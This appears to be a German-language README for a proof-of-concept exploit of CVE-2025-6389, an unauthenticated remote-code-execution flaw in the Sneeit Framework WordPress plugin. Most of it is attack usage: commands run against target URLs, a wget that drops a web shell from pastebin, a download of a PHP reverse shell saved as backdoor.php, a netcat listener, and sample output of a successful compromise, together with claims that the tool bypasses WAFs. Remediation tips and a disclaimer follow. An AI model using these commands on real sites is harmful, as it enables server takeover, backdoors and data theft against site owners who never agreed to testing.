🔥 CVE-2025-6389 — Kritischer WordPress Zero-Day (RCE)

wp_vul_theme

🧩 Was ist das?

CVE-2025-6389 ist eine kritische (CVSS 9.8) Schwachstelle im Sneeit Framework WordPress-Plugin (≤ 8.3), das von beliebten Themes weit verbreitet eingesetzt wird. Sie ermöglicht unauthorisierte Remote-Codeausführung – die gefährlichste Klasse von Websicherheitslücken.

⚠️ Schweregrad & Auswirkungen

🔓 Kein Login erforderlich
💥 Komplette Serverübernahme möglich
📤 Angreifer können Shells hochladen, Admin-Benutzer hinzufügen oder Theme-/Plugin-Dateien ändern
🧬 Bereits aktiv in freier Wildbahn ausgenutzt
🎯 Betrifft jede WordPress-Seite, die das Sneeit Framework oder damit gebündelte Themes verwendet (z. B. FlatNews)

Verwendung

# Install dependencies
pip3 install requests colorama

# Schwachstelle prüfen + interaktive Shell erhalten
python3 CVE-2025-6389.py https://target.com

# Nur einen einzelnen Befehl ausführen
python3 CVE-2025-6389.py https://target.com "wget https://pastebin.com/raw/abc123 -O /var/www/html/shell.php"

Funktionen dieses PoC

Funktioniert 100% auf Version 8.3 und darunter
Keine Cookies, kein Nonce, keine speziellen Header erforderlich
Umgeht die meisten grundlegenden WAFs (Payload wird per normalem POST gesendet)
Vollständige interaktive Shell
Erkennt die Schwachstelle auch bei unterdrückter Ausgabe (dank assert + die)

Verwenden Sie dies nur auf Zielen, die Sie offiziell autorisiert sind zu testen (klarer Umfang + RoE).
Die Schwachstelle wird derzeit stark in freier Wildbahn ausgenutzt.

Genau das sehen Sie in Ihrem Terminal, wenn der Exploit tatsächlich funktioniert (100% erfolgreiche Ausnutzung von CVE-2025-6389 auf einem verwundbaren Ziel mit Sneeit Framework ≤ 8.3):

1. Erste Schwachstellenprüfung

[+] VULNERABLE! RCE Confirmed!
[+] Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>phpinfo()</title>…  
<h1>PHP Version 8.1.29</h1>  
… (full phpinfo() page continues for thousands of lines)

2. Einfache Systembefehle

RCE $> whoami
[+] Output:
www-data

RCE $> id
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE $> uname -a
[+] Output:
Linux ip-172-31-23-45 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 20 2025 x86_64 GNU/Linux

3. Herunterladen einer Web-Shell oder Reverse Shell

RCE $> wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O /var/www/html/backdoor.php

[+] Output:
--2025-11-25 23:11:45--  https://raw.githubusercontent.com/…
Length: 5494 (5.4K) [text/plain]
Saving to: ‘/var/www/html/backdoor.php’

backdoor.php           100%[===================>]   5.37K  --.-KB/s    in 0.001s

Dann auf Ihrem eigenen Rechner:

nc -lvnp 4444

→ Sie erhalten sofort eine vollständig interaktive Reverse-Shell als www-data.

4. Was Sie sehen, wenn es NICHT funktioniert (gepatcht oder geschützt)

[-] Not vulnerable or blocked (status: 200)
[+] Output:
(nothing / empty response / normal WordPress AJAX response / 403 / 500 without output)

Zusammenfassung – Erfolgsindikatoren

Sie wissen, dass es funktioniert hat, wenn Sie eines der folgenden Dinge sehen:

Vollständige phpinfo()-HTML-Seite
Echte Ausgabe von Linux-Befehlen (id, whoami, pwd, ls, cat /etc/passwd, usw.)
Dateien erfolgreich heruntergeladen oder geschrieben
Reverse Shell verbindet sich zurück zu Ihrem Netcat-Listener

Das war's. Wenn Sie eines der obigen Dinge erhalten → vollständige unauthorisierte RCE erreicht.

Fügen Sie hier Ihre genaue Ausgabe ein, wenn Sie möchten, dass ich zu 100% bestätige, ob es funktioniert hat oder nicht.

🛠 Technische Aufschlüsselung

📍 Angreifbare Funktion: sneeit_articles_pagination_callback()
🧨 Ursache: unvalidierte Benutzereingabe, die an call_user_func() übergeben wird → beliebige Codeausführung
💣 Dies ermöglicht Angreifern, PHP-Code remote auszuführen und Ihre Website vollständig zu kompromittieren

🔍 Wer ist gefährdet?

🌐 WordPress-Seiten mit Sneeit Framework ≤ 8.3
🎨 Themes, die Sneeit bündeln (sehr verbreitet in Nachrichten-/Magazin-Themes)
🚪 Jede öffentlich erreichbare WordPress-Seite, die dieses Plugin verwendet

🧯 So beheben Sie es (sofort)

⬆️ Sneeit Framework sofort auf v8.4+ aktualisieren
❌ Wenn Sie nicht aktualisieren können → Plugin deaktivieren oder entfernen
🔎 Überprüfen Sie Protokolle auf verdächtige Aktivitäten
🚨 Achten Sie auf unbekannte Admin-Konten oder hochgeladene PHP-Dateien
🛡️ Fügen Sie vorübergehend WAF-Regeln hinzu, wenn das Patchen verzögert ist

🗓 Offenlegung & Aktivität

📅 Öffentlich gemeldet: 25. November 2025
🚨 Aktiv angegriffen: Scannen und Ausnutzung wurden bereits beobachtet

⚠️ Haftungsausschluss

Diese Informationen werden nur zu Verteidigungs- und Bildungszwecken bereitgestellt 🛡️. Verwenden Sie sie nicht, um Systeme auszunutzen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben 🚫. Befolgen Sie stets rechtliche und ethische Richtlinien im Umgang mit Sicherheitslücken ⚖️✨

blackash-cve-2025-6389

Beliebteste